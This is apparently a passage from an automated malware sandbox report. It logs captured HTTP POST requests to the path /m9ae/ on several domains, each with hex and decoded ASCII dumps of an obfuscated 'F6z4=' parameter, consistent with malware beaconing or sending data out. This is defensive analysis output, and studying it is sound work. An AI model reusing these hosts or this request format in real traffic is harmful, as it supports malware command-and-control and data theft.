6a 47 4e 69 75 46 55 52 49 66 37 4e 4f 57 46 56 4d 6e 75 6f 54 34 32 55 49 54 78 56 79 67 50 74 65 63 72 31 52 4e 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=azm7AJ3X491uwfJufbkdGSsSO-7pCCt6X1bcu8e13x5lho3KLFSwbCyyx3qKZeOZcKr8sJ9l3gVdRvGwDWfWWtaEXI7VgaowkdTTlqZyiJFIfRuVCZw-D7k2jujCoHyu6EbYFB5xzg22u_1VBv2X3p53UyD1N3Efz1tvbkyEsZvB4wEw8I7LKarCnU(i0ZVWBz0QKguPzl1BmPQyFn~wSWOIoH8yTjRUOqhiVxtZzGQR(ObxPNjcZINWAMQyBdD9sgpsWBs-clqbOJTmLOBizVSbMup9nUEA6heym2jwnAB_BbLZSajsec4F9pG4iSDSXOZhbGYbPLaBvG7Qni(xbMk07njkuG5bsUrbzQxbS7DjGNiuFURIf7NOWFVMnuoT42UITxVygPtecr1RNA).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.publickit.websiteConnection: closeContent-Length: 186Cache-Control: no-cacheOrigin: http://www.publickit.websiteUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.publickit.website/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 61 7a 6d 37 41 4a 33 58 34 39 31 75 77 73 4e 75 65 4a 4d 64 4f 79 73 53 43 65 37 76 43 43 74 39 58 31 62 59 75 39 4c 77 32 47 6c 6c 68 35 48 4b 49 33 71 77 61 43 79 74 36 58 71 56 58 2d 50 44 63 4b 72 47 73 4c 70 6c 33 67 78 64 52 76 57 77 45 6c 6e 56 45 39 61 43 62 6f 37 57 6b 61 6f 6c 6b 65 33 48 6c 76 52 79 69 4c 4e 49 66 69 47 56 42 4c 59 68 48 62 6b 72 7e 65 6a 4a 68 6e 79 71 36 45 61 37 46 42 35 50 7a 69 7e 32 76 50 46 56 48 4b 43 51 38 70 35 2d 58 79 43 66 48 55 70 44 78 45 46 6e 62 6c 66 58 7a 4a 62 57 37 79 42 6f 76 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=azm7AJ3X491uwsNueJMdOysSCe7vCCt9X1bYu9Lw2Gllh5HKI3qwaCyt6XqVX-PDcKrGsLpl3gxdRvWwElnVE9aCbo7Wkaolke3HlvRyiLNIfiGVBLYhHbkr~ejJhnyq6Ea7FB5Pzi~2vPFVHKCQ8p5-XyCfHUpDxEFnblfXzJbW7yBovw).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.lee-perez.comConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.lee-perez.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.lee-perez.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 71 4c 6a 6a 75 73 45 30 7e 37 65 34 50 36 65 65 44 33 46 49 6e 79 75 70 47 4b 38 65 57 45 37 78 4a 64 63 68 67 4a 49 57 51 2d 43 56 43 50 67 54 4c 78 4b 4e 70 75 69 75 66 35 7a 7a 30 49 52 4c 79 68 5a 53 51 4d 61 32 38 64 73 59 33 73 69 6e 4a 65 76 4e 73 55 78 33 74 77 62 39 7a 4a 4a 4e 46 74 62 72 37 79 57 35 68 6e 72 5f 45 61 58 64 53 69 4e 75 53 51 42 7a 62 56 54 46 4f 6d 56 67 67 58 66 51 41 79 48 6d 7a 2d 28 67 68 4f 4e 53 36 39 44 4c 61 6e 45 65 42 65 56 76 30 78 4f 4f 32 74 41 31 64 75 57 42 38 4e 31 63 74 32 63 4a 6b 6d 41 44 50 79 50 71 70 52 66 45 4e 5f 53 56 42 49 56 34 6d 50 38 55 38 6b 4f 38 52 45 77 58 69 6c 65 6b 76 6f 32 66 41 34 6a 45 6c 41 6f 36 66 76 4a 50 34 4e 4d 31 61 35 32 47 4c 44 63 4a 38 48 58 59 55 4f 68 44 6d 4c 70 6e 47 56 53 39 38 49 48 54 4f 4a 47 4b 6a 74 31 70 74 37 74 6f 58 6a 73 52 63 4e 4d 64 48 54 6f 68 37 50 6f 72 4d 48 36 4f 67 37 6b 4d 4d 78 4d 34 72 5a 73 6a 61 78 72 61 4a 2d 4e 69 59 6c 69 4a 70 67 61 56 6d 5a 50 78 49 67 61 54 4e 63 77 58 70 7a 33 52 72 37 63 6c 38 53 6b 44 77 38 73 70 39 66 66 52 35 44 53 6b 44 69 30 75 37 4d 63 64 71 4f 44 79 38 4a 67 4f 72 6e 52 71 47 75 54 31 69 63 42 58 78 68 49 4b 78 2d 4e 6a 47 31 45 55 51 78 48 38 66 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=qLjjusE0~7e4P6eeD3FInyupGK8eWE7xJdchgJIWQ-CVCPgTLxKNpuiuf5zz0IRLyhZSQMa28dsY3sinJevNsUx3twb9zJJNFtbr7yW5hnr_EaXdSiNuSQBzbVTFOmVggXfQAyHmz-(ghONS69DLanEeBeVv0xOO2tA1duWB8N1ct2cJkmADPyPqpRfEN_SVBIV4mP8U8kO8REwXilekvo2fA4jElAo6fvJP4NM1a52GLDcJ8HXYUOhDmLpnGVS98IHTOJGKjt1pt7toXjsRcNMdHToh7PorMH6Og7kMMxM4rZsjaxraJ-NiYliJpgaVmZPxIgaTNcwXpz3Rr7cl8SkDw8sp9ffR5DSkDi0u7McdqODy8JgOrnRqGuT1icBXxhIKx-NjG1EUQxH8fg).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.lee-perez.comConnection: closeContent-Length: 186Cache-Control: no-cacheOrigin: http://www.lee-perez.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.lee-perez.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 71 4c 6a 6a 75 73 45 30 7e 37 65 34 54 5a 32 65 58 6d 46 49 73 53 75 70 50 71 38 59 57 45 37 32 4a 64 63 6c 67 49 4d 5f 51 76 47 56 42 62 73 54 4b 43 69 4e 36 65 69 74 4c 70 7a 5f 77 49 51 4c 79 68 5a 30 51 4e 6d 32 38 64 34 59 33 75 71 6e 4a 76 76 4f 7e 45 78 31 76 77 62 38 6b 5a 49 4e 46 73 32 71 37 33 65 35 68 69 76 5f 46 72 58 64 54 30 35 76 59 51 42 2d 58 31 54 43 45 47 56 38 67 58 65 7a 41 79 47 4a 7a 37 37 67 68 36 70 53 34 66 37 4b 52 6e 45 66 43 65 55 54 39 42 37 44 77 72 5a 39 4b 65 58 55 67 65 6b 62 67 6c 78 6e 77 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=qLjjusE0~7e4TZ2eXmFIsSupPq8YWE72JdclgIM_QvGVBbsTKCiN6eitLpz_wIQLyhZ0QNm28d4Y3uqnJvvO~Ex1vwb8kZINFs2q73e5hiv_FrXdT05vYQB-X1TCEGV8gXezAyGJz77gh6pS4f7KRnEfCeUT9B7DwrZ9KeXUgekbglxnwg).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.frwqc.comConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.frwqc.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.frwqc.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 6b 77 50 68 58 4b 77 59 66 55 41 39 6a 57 4e 32 36 34 58 4d 59 77 62 4c 75 48 6d 6d 31 79 6f 57 7e 67 4f 5f 6e 33 6f 71 4c 5a 56 4a 7e 73 63 34 32 36 7e 69 4f 42 49 61 69 4e 74 72 6c 79 57 62 33 6f 65 62 52 6d 4e 73 58 43 78 67 71 52 51 4b 35 37 68 47 4d 56 6e 47 77 73 47 57 64 45 6f 6c 34 43 36 5f 57 34 67 37 47 74 63 37 34 78 48 38 54 61 79 37 59 37 53 4c 47 30 43 32 65 4b 63 58 6c 66 6e 35 64 71 66 47 43 41 71 5f 48 63 4b 68 39 6b 37 6a 62 4b 30 2d 4a 6d 79 55 74 30 69 63 48 48 68 64 30 78 36 71 4a 64 65 63 71 56 68 36 34 42 4e 39 38 64 63 37 50 51 6c 45 63 39 49 78 47 71 41 55 73 51 67 69 55 5a 42 6c 37 38 68 59 64 43 76 6b 66 75 33 41 4f 30 71 6b 30 50 74 4b 35 65 57 62 75 4f 69 5f 4d 56 58 33 37 58 6a 6c 44 58 34 56 33 34 59 76 54 57 6e 36 44 66 42 47 5a 4b 5a 4a 66 78 69 31 56 79 73 68 71 4b 42 68 4f 77 53 69 38 53 28 47 34 62 65 36 71 53 79 56 73 73 56 65 47 52 5a 5f 78 64 6e 4f 76 4f 78 6a 6e 4a 34 43 6d 59 6b 6e 75 46 49 54 63 31 6a 51 7e 53 6b 57 43 56 59 54 51 66 7e 75 64 64 50 67 31 76 6e 78 61 6d 52 55 49 4f 41 31 44 41 61 2d 6e 58 6a 74 73 39 52 55 6e 41 45 6e 6c 57 38 41 75 4f 35 76 6a 78 49 5f 4c 79 5a 33 47 65 7a 43 6d 66 4a 45 70 47 50 48 55 73 32 59 5a 31 35 36 56 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=kwPhXKwYfUA9jWN264XMYwbLuHmm1yoW~gO_n3oqLZVJ~sc426~iOBIaiNtrlyWb3oebRmNsXCxgqRQK57hGMVnGwsGWdEol4C6_W4g7Gtc74xH8Tay7Y7SLG0C2eKcXlfn5dqfGCAq_HcKh9k7jbK0-JmyUt0icHHhd0x6qJdecqVh64BN98dc7PQlEc9IxGqAUsQgiUZBl78hYdCvkfu3AO0qk0PtK5eWbuOi_MVX37XjlDX4V34YvTWn6DfBGZKZJfxi1VyshqKBhOwSi8S(G4be6qSyVssVeGRZ_xdnOvOxjnJ4CmYknuFITc1jQ~SkWCVYTQf~uddPg1vnxamRUIOA1DAa-nXjts9RUnAEnlW8AuO5vjxI_LyZ3GezCmfJEpGPHUs2YZ156Vg).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.frwqc.comConnection: closeContent-Length: 186Cache-Control: no-cacheOrigin: http://www.frwqc.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.frwqc.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 6b 77 50 68 58 4b 77 59 66 55 41 39 6a 68 52 32 30 72 28 4d 54 51 62 4c 78 33 6d 37 31 79 6f 62 7e 67 4f 37 6e 79 59 36 49 6f 4e 4a 7e 35 67 34 32 6f 57 69 43 68 49 5a 36 39 74 76 6d 43 57 30 33 6f 66 34 52 6a 31 73 58 43 6c 67 71 51 67 4b 34 4d 64 5a 50 56 6e 45 32 63 47 58 57 6b 6f 4b 34 43 32 6a 57 36 6b 37 47 72 51 37 35 41 48 38 43 73 47 36 63 62 53 4f 59 6b 43 39 51 71 63 54 6c 66 6e 58 64 71 66 67 43 44 53 5f 48 49 75 68 39 48 54 67 55 4b 30 37 47 32 7a 31 73 6b 79 4d 44 31 74 4c 32 53 76 50 49 74 72 35 68 30 34 6c 72 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=kwPhXKwYfUA9jhR20r(MTQbLx3m71yob~gO7nyY6IoNJ~5g42oWiChIZ69tvmCW03of4Rj1sXClgqQgK4MdZPVnE2cGXWkoK4C2jW6k7GrQ75AH8CsG6cbSOYkC9QqcTlfnXdqfgCDS_HIuh9HTgUK07G2z1skyMD1tL2SvPItr5h04lrw).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.tommy57.shopConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.tommy57.shopUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.tommy57.shop/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 66 49 32 47 58 62 68 30 54 72 53 4a 39 43 78 34 41 67 30 50 64 48 6a 6c 35 5f 64 6e 55 34 4f 46 6a 54 44 33 4a 73 64 49 4b 34 72 76 28 59 37 7a 4c 59 66 30 47 71 76 68 37 6b 77 57 57 56 7e 64 78 61 4b 6a 47 51 70 6c 5a 79 61 35 58 74 36 32 43 63 58 45 6f 6d 54 6d 38 79 59 41 68 45 58 4d 54 4a 79 7a 66 68 4a 52 30 31 67 32 68 46 28 75 4a 41 44 7a 52 34 41 35 70 5a 7e 62 73 56 6b 6e 50 63 41 46 6f 75 64 33 45 34 76 77 6e 72 52 4f 36 76 71 6a 59 64 76 31 75 4d 55 39 64 30 68 6b 53 4f 38 37 76 55 6f 73 6a 52 65 45 33 43 30 50 4c 65 6f 4d 73 6c 76 68 56 64 59 67 62 57 7e 52 4d 4c 48 52 7a 5f 41 73 79 36 31 6c 54 53 79 45 7e 4d 39 50 68 74 39 36 32 6f 75 42 4f 66 66 30 71 42 4c 47 55 78 42 43 6d 32 56 43 47 2d 76 42 59 6b 66 6e 4b 57 43 4d 38 66 53 70 50 51 58 7a 49 66 77 5f 6f 59 58 38 65 52 67 55 4b 42 45 4e 36 4a 47 30 73 5f 6f 30 76 4c 67 57 67 74 67 72 56 65 47 55 6b 55 71 6e 71 63 66 77 4c 73 76 62 79 38 43 38 4e 31 67 61 6f 6f 34 6a 64 64 36 68 70 35 7a 61 79 62 6d 53 56 46 41 49 6d 58 71 34 58 67 78 74 30 5a 71 7a 37 5a 36 37 34 65 7e 59 53 62 67 65 4c 45 43 44 77 65 61 4d 72 2d 6e 4e 4b 62 4c 36 51 34 71 4c 46 6f 55 78 66 44 4c 50 69 67 73 47 41 41 68 6c 65 79 4b 73 68 42 46 71 6e 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=fI2GXbh0TrSJ9Cx4Ag0PdHjl5_dnU4OFjTD3JsdIK4rv(Y7zLYf0Gqvh7kwWWV~dxaKjGQplZya5Xt62CcXEomTm8yYAhEXMTJyzfhJR01g2hF(uJADzR4A5pZ~bsVknPcAFoud3E4vwnrRO6vqjYdv1uMU9d0hkSO87vUosjReE3C0PLeoMslvhVdYgbW~RMLHRz_Asy61lTSyE~M9Pht962ouBOff0qBLGUxBCm2VCG-vBYkfnKWCM8fSpPQXzIfw_oYX8eRgUKBEN6JG0s_o0vLgWgtgrVeGUkUqnqcfwLsvby8C8N1gaoo4jdd6hp5zaybmSVFAImXq4Xgxt0Zqz7Z674e~YSbgeLECDweaMr-nNKbL6Q4qLFoUxfDLPigsGAAhleyKshBFqnw).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.tommy57.shopConnection: closeContent-Length: 186Cache-Control: no-cacheOrigin: http://www.tommy57.shopUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.tommy57.shop/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 66 49 32 47 58 62 68 30 54 72 53 4a 38 31 6c 34 4f 33 41 50 57 6e 6a 6c 32 66 64 6c 55 34 4f 4f 6a 54 44 7a 4a 70 39 59 4b 4c 4c 76 78 73 28 7a 4d 71 48 30 42 71 76 6d 75 55 77 53 56 6c 7e 49 78 61 4b 4f 47 52 46 6c 5a 79 4f 35 58 73 4b 32 43 50 50 46 70 6d 54 6f 36 79 59 42 72 6b 58 5a 54 4a 7e 6e 66 67 31 52 30 33 59 32 68 32 48 75 4a 53 62 30 56 59 41 36 6d 35 7e 57 6d 31 6b 52 50 63 42 6b 6f 75 63 71 45 36 6e 77 6d 66 4e 4f 39 39 79 69 42 4e 76 77 68 63 56 54 56 51 34 4d 55 5f 55 4b 6d 6c 31 53 39 43 36 52 7e 7a 74 32 58 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=fI2GXbh0TrSJ81l4O3APWnjl2fdlU4OOjTDzJp9YKLLvxs(zMqH0BqvmuUwSVl~IxaKOGRFlZyO5XsK2CPPFpmTo6yYBrkXZTJ~nfg1R03Y2h2HuJSb0VYA6m5~Wm1kRPcBkoucqE6nwmfNO99yiBNvwhcVTVQ4MU_UKml1S9C6R~zt2XQ).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.700544.comConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.700544.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.700544.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 42 73 54 33 6f 54 36 6f 71 43 51 51 75 69 61 75 63 67 58 74 78 78 58 51 62 38 7e 30 4b 41 36 34 69 68 33 54 57 4b 61 62 55 43 65 4c 53 6a 72 44 41 4e 47 65 56 67 74 43 31 4b 42 64 41 4c 70 44 65 57 53 4d 51 51 79 62 5a 58 6a 51 69 41 28 42 37 43 72 37 34 55 6e 6d 35 69 78 45 75 53 38 4e 30 4e 69 35 57 78 35 61 35 37 6f 43 4d 69 43 72 6e 30 58 39 59 78 65 64 47 6a 74 36 69 6b 6f 64 50 55 73 33 45 6c 39 65 63 33 49 76 34 33 4a 78 48 31 49 55 4b 76 55 35 35 4a 36 64 4f 61 37 31 71 6f 79 42 76 4e 50 6e 4e 4f 57 77 78 6a 78 38 28 53 62 72 36 57 74 34 53 41 46 34 6e 5a 28 4d 6f 54 36 6a 52 74 36 4b 57 69 51 49 33 79 6a 33 4e 7a 37 30 7e 78 28 39 6b 5f 34 39 45 64 6a 48 52 4c 6d 4d 4a 38 36 78 6d 64 51 72 63 75 35 57 78 69 33 55 52 4c 49 64 47 71 6e 43 79 75 55 6b 48 45 6b 6a 78 46 42 2d 4d 72 74 73 53 4a 4c 38 44 42 34 45 45 41 4a 59 51 61 31 76 64 4a 33 30 74 34 38 75 6d 4f 56 4f 57 35 58 56 72 66 61 47 63 58 70 30 59 6a 33 67 59 79 6f 58 76 74 77 56 51 32 7e 71 6f 43 74 4b 68 73 76 52 63 7a 57 6d 44 6f 6e 44 34 45 44 6d 53 39 44 6d 33 65 45 2d 6c 70 47 34 53 45 35 68 78 6e 6e 72 6b 47 46 44 78 39 6d 53 58 31 59 66 43 64 63 77 52 50 69 73 55 6f 56 30 52 55 61 54 4e 46 59 52 41 6d 35 6d 31 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=BsT3oT6oqCQQuiaucgXtxxXQb8~0KA64ih3TWKabUCeLSjrDANGeVgtC1KBdALpDeWSMQQybZXjQiA(B7Cr74Unm5ixEuS8N0Ni5Wx5a57oCMiCrn0X9YxedGjt6ikodPUs3El9ec3Iv43JxH1IUKvU55J6dOa71qoyBvNPnNOWwxjx8(Sbr6Wt4SAF4nZ(MoT6jRt6KWiQI3yj3Nz70~x(9k_49EdjHRLmMJ86xmdQrcu5Wxi3URLIdGqnCyuUkHEkjxFB-MrtsSJL8DB4EEAJYQa1vdJ30t48umOVOW5XVrfaGcXp0Yj3gYyoXvtwVQ2~qoCtKhsvRczWmDonD4EDmS9Dm3eE-lpG4SE5hxnnrkGFDx9mSX1YfCdcwRPisUoV0RUaTNFYRAm5m1g).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.700544.comConnection: closeContent-Length: 186Cache-Control: no-cacheOrigin: http://www.700544.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.700544.com/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 42 73 54 33 6f 54 36 6f 71 43 51 51 75 52 65 75 63 58 44 74 35 52 58 51 5a 38 7e 32 4b 41 37 2d 69 68 32 62 57 49 32 4c 54 31 36 4c 53 78 7a 44 41 5f 75 65 57 67 74 64 39 71 42 5a 4f 72 70 73 65 57 53 36 51 52 4f 62 5a 58 66 51 69 46 44 42 37 30 6a 34 71 6b 6e 65 30 43 78 48 71 53 39 46 30 4a 44 6a 57 7a 39 61 35 34 63 43 4d 56 57 72 6a 79 44 79 66 52 65 65 4a 44 73 38 70 45 70 4a 50 55 74 6d 45 6c 38 57 63 78 4d 76 35 48 35 78 57 6d 67 62 64 5f 56 7a 6e 5a 36 4a 48 6f 79 61 75 4b 50 4c 70 65 47 4e 54 2d 7a 73 6c 69 45 32 69 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=BsT3oT6oqCQQuReucXDt5RXQZ8~2KA7-ih2bWI2LT16LSxzDA_ueWgtd9qBZOrpseWS6QRObZXfQiFDB70j4qkne0CxHqS9F0JDjWz9a54cCMVWrjyDyfReeJDs8pEpJPUtmEl8WcxMv5H5xWmgbd_VznZ6JHoyauKPLpeGNT-zsliE2iA).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.porggiret.siteConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.porggiret.siteUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.porggiret.site/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 6f 59 56 30 43 61 50 48 57 48 77 35 44 6b 33 35 63 35 46 70 67 38 66 54 31 64 45 52 56 78 35 66 52 49 74 46 54 48 50 32 4d 58 6e 75 69 77 42 49 4e 35 63 4c 34 79 45 71 4d 5f 7e 50 32 73 58 62 78 31 58 45 6f 78 33 4e 50 39 46 62 4b 64 58 77 38 5f 76 44 76 38 54 4f 4b 74 7e 35 6e 42 35 4a 73 63 56 34 6f 36 51 68 62 77 35 51 53 7a 59 59 7a 64 51 57 7a 5f 61 66 41 30 47 51 54 41 6f 36 55 56 49 70 4d 65 4b 5a 38 61 4c 46 54 54 36 41 73 78 37 79 32 6b 33 41 42 7a 77 56 6a 76 46 44 4c 56 28 4f 38 52 36 52 4a 38 42 49 28 37 43 47 4a 63 54 38 4e 61 30 33 75 4b 76 58 62 4a 54 42 31 62 4d 36 75 78 4f 73 50 54 62 78 76 2d 72 39 54 66 64 74 47 45 6d 69 44 61 7a 38 74 6f 4e 42 33 66 28 76 4f 39 4c 6f 39 73 36 4e 7a 38 47 4d 63 4e 51 5f 53 5f 4a 58 32 31 55 59 51 54 43 78 7e 39 58 57 7a 48 51 42 6e 63 6a 53 53 74 46 63 38 72 56 43 67 63 53 73 78 54 71 66 6d 67 72 6a 62 62 77 7a 51 57 72 71 77 77 45 75 61 49 77 59 47 76 6b 5a 45 35 49 39 43 74 4b 61 75 49 41 4c 77 58 73 69 71 56 50 7a 77 31 70 6e 78 33 54 34 4d 44 37 43 41 5f 37 53 35 6e 38 2d 4a 74 4e 4d 4d 78 37 7a 45 5a 43 50 78 73 57 74 35 30 7a 63 52 4d 64 69 59 74 37 41 7e 6a 55 77 67 5a 30 54 7a 79 78 68 34 45 49 41 32 6c 6b 42 57 6f 59 46 36 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=oYV0CaPHWHw5Dk35c5Fpg8fT1dERVx5fRItFTHP2MXnuiwBIN5cL4yEqM_~P2sXbx1XEox3NP9FbKdXw8_vDv8TOKt~5nB5JscV4o6Qhbw5QSzYYzdQWz_afA0GQTAo6UVIpMeKZ8aLFTT6Asx7y2k3ABzwVjvFDLV(O8R6RJ8BI(7CGJcT8Na03uKvXbJTB1bM6uxOsPTbxv-r9TfdtGEmiDaz8toNB3f(vO9Lo9s6Nz8GMcNQ_S_JX21UYQTCx~9XWzHQBncjSStFc8rVCgcSsxTqfmgrjbbwzQWrqwwEuaIwYGvkZE5I9CtKauIALwXsiqVPzw1pnx3T4MD7CA_7S5n8-JtNMMx7zEZCPxsWt50zcRMdiYt7A~jUwgZ0Tzyxh4EIA2lkBWoYF6Q).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.porggiret.siteConnection: closeContent-Length: 186Cache-Control: no-cacheOrigin: http://www.porggiret.siteUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.porggiret.site/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 6f 59 56 30 43 61 50 48 57 48 77 35 44 58 66 35 66 4b 39 70 72 63 66 54 39 39 45 58 56 78 35 59 52 49 74 4a 54 47 37 63 4d 6b 58 75 68 6c 39 49 4e 4d 41 4c 28 79 45 72 44 66 7e 44 34 4d 58 30 78 31 58 75 6f 7a 6a 4e 50 39 42 62 4b 66 66 77 39 4f 76 41 75 38 54 32 49 74 7e 32 6a 42 35 59 73 59 31 73 6f 34 55 68 62 7a 4e 51 53 41 63 59 33 62 6b 56 33 66 61 61 4e 6b 47 58 61 67 70 37 55 56 49 4c 4d 65 4b 67 38 65 37 46 53 6a 71 41 74 54 54 78 28 6b 33 42 66 44 78 65 31 74 34 33 47 6e 72 36 70 43 7a 68 51 59 6b 68 39 34 7a 34 57 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=oYV0CaPHWHw5DXf5fK9prcfT99EXVx5YRItJTG7cMkXuhl9INMAL(yErDf~D4MX0x1XuozjNP9BbKffw9OvAu8T2It~2jB5YsY1so4UhbzNQSAcY3bkV3faaNkGXagp7UVILMeKg8e7FSjqAtTTx(k3BfDxe1t43Gnr6pCzhQYkh94z4WA).
Source: global traffic HTTP traffic detected: POST /m9ae/ HTTP/1.1Host: www.tobewell.storeConnection: closeContent-Length: 410Cache-Control: no-cacheOrigin: http://www.tobewell.storeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.tobewell.store/m9ae/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 46 36 7a 34 3d 46 61 6f 46 4f 51 30 67 4a 39 4b 33 36 55 38 6d 50 42 41 6f 35 6f 62 72 78 31 48 48 4a 74 66 36 78 38 4e 71 70 57 67 76 47 33 76 52 37 76 30 35 57 6d 33 67 6a 36 58 42 62 79 39 79 43 39 4a 46 38 79 47 50 63 55 59 61 6a 5f 72 61 70 56 43 57 7a 69 28 76 6b 57 75 65 36 34 75 65 36 4d 30 48 6e 67 73 6f 70 34 77 77 54 46 4d 53 41 72 65 4c 77 37 71 5a 67 4a 46 71 67 70 4d 51 45 68 6e 39 4c 62 66 61 47 6a 43 4f 31 38 37 46 77 4a 6e 2d 28 77 78 58 47 4f 45 64 45 51 61 46 65 47 79 6b 44 67 77 4e 44 36 35 64 4b 64 36 62 73 52 41 6b 6b 4d 61 6e 5a 43 5a 38 79 64 73 33 6e 50 6c 42 5a 38 44 65 47 63 64 35 51 48 53 6a 54 56 50 6f 58 67 4c 75 70 32 66 6d 38 38 39 41 51 6c 33 6b 4d 37 37 55 33 4b 62 68 53 49 68 33 7e 45 61 54 6f 51 77 38 4c 78 49 79 37 48 36 2d 48 32 6e 73 51 7a 28 31 43 5a 28 31 72 38 59 55 66 53 28 6d 50 35 70 50 38 6d 4d 41 39 44 32 4d 37 51 66 6a 6a 47 32 43 53 6c 38 67 6e 63 4e 6f 4d 70 32 39 6c 65 38 67 58 30 33 51 36 78 58 4e 6a 57 58 56 61 36 4d 33 41 4d 68 41 38 30 48 62 4d 58 64 53 33 7a 38 6a 7a 7a 51 76 43 58 38 43 38 58 36 73 77 7a 73 56 57 35 4c 37 46 4e 4f 6c 4f 44 68 52 7a 4d 67 5a 35 48 33 46 53 57 51 75 69 53 36 78 62 70 7a 56 70 4e 46 67 70 48 64 58 32 5a 43 30 79 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: F6z4=FaoFOQ0gJ9K36U8mPBAo5obrx1HHJtf6x8NqpWgvG3vR7v05Wm3gj6XBby9yC9JF8yGPcUYaj_rapVCWzi(vkWue64ue6M0Hngsop4wwTFMSAreLw7qZgJFqgpMQEhn9LbfaGjCO187FwJn-(wxXGOEdEQaFeGykDgwND65dKd6bsRAkkManZCZ8yds3nPlBZ8DeGcd5QHSjTVPoXgLup2fm889AQl3kM77U3KbhSIh3~EaToQw8LxIy7H6-H2nsQz(1CZ(1r8YUfS(mP5pP8mMA9D2M7QfjjG2CSl8gncNoMp29le8gX03Q6xXNjWXVa6M3AMhA80HbMXdS3z8jzzQvCX8C8X6swzsVW5L7FNOlODhRzMgZ5H3FSWQuiS6xbpzVpNFgpHdX2ZC0yw).
